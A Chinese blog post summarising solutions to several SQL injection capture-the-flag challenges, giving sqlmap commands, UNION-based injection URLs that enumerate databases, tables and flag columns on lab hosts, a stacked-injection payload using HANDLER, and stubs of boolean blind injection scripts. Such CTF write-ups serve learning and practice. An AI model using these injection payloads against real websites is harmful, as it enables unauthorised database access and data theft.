Web入门-SQL注入小结
Web入门-SQL注入小结
做题
[suctf 2019]EasySQL
这题挺抽象的,正确解法是根据一段一段“Array([?]=>?)”的格式猜出有运算符“||”,然后改sql_mode使其成为字符串拼接运算符。
实际上这个后台语句为:
1 | select $post['query']||flag from Flag |
exp:
1 | import requests |
注意最后一个“1”不能换成字母,否则就和字符串“flag”拼接起来了,在这里是分别查询“1”和“flag”值的意思。
[SWPUCTF 2021 新生赛]erro
1 | sqlmap -u http://node4.anna.nssctf.cn:28961/index.php?id=1 -D test_db -T test_tb -C flag --dump |
[SWPUCTF 2021 新生赛]sql
爆列数:
1 | http://node4.anna.nssctf.cn:28915/?wllm=1'order/**/by/**/3%23 |
爆列,当wllm为1时返回结果无法显示,选择-1查询不到,并找出select可用列:
1 | http://node4.anna.nssctf.cn:28915/?wllm=-1'union/**/select/**/1,2,3%23 |
爆库:
1 | http://node4.anna.nssctf.cn:28915/?wllm=-1'union/**/select/**/1,2,database()%23 |
爆表:
1 | http://node4.anna.nssctf.cn:28915/?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23 |
爆列:
1 | http://node4.anna.nssctf.cn:28915/?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23 |
爆flag:
1 | http://node4.anna.nssctf.cn:28915/?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23 |
一次只有20位,采取截断,一次一次输出:
1 | http://node4.anna.nssctf.cn:28915/?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/test_db.LTLT_flag%23 |
[LitCTF 2023]这是什么?SQL !注一下 !
sqlmap
[强网杯 2019]随便注
堆叠注入,过滤select
,改用handler
,语法为:
1 | handler xxx open; |
payload:
1 | http://node4.anna.nssctf.cn:28703/?inject=1';show+databases;# |
[CISCN 2019华北Day2]Web1
布尔盲注,直接爆。
1 | import string,requests |
[SWPUCTF 2022 新生赛]ez_sql
POST:
1 | nss=1 #正确回显 |
http://monoceros.github.io/2024/03/10/Web%E5%85%A5%E9%97%A8-SQL%E6%B3%A8%E5%85%A5%E5%B0%8F%E7%BB%93/
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 The Blog of Monoceros406!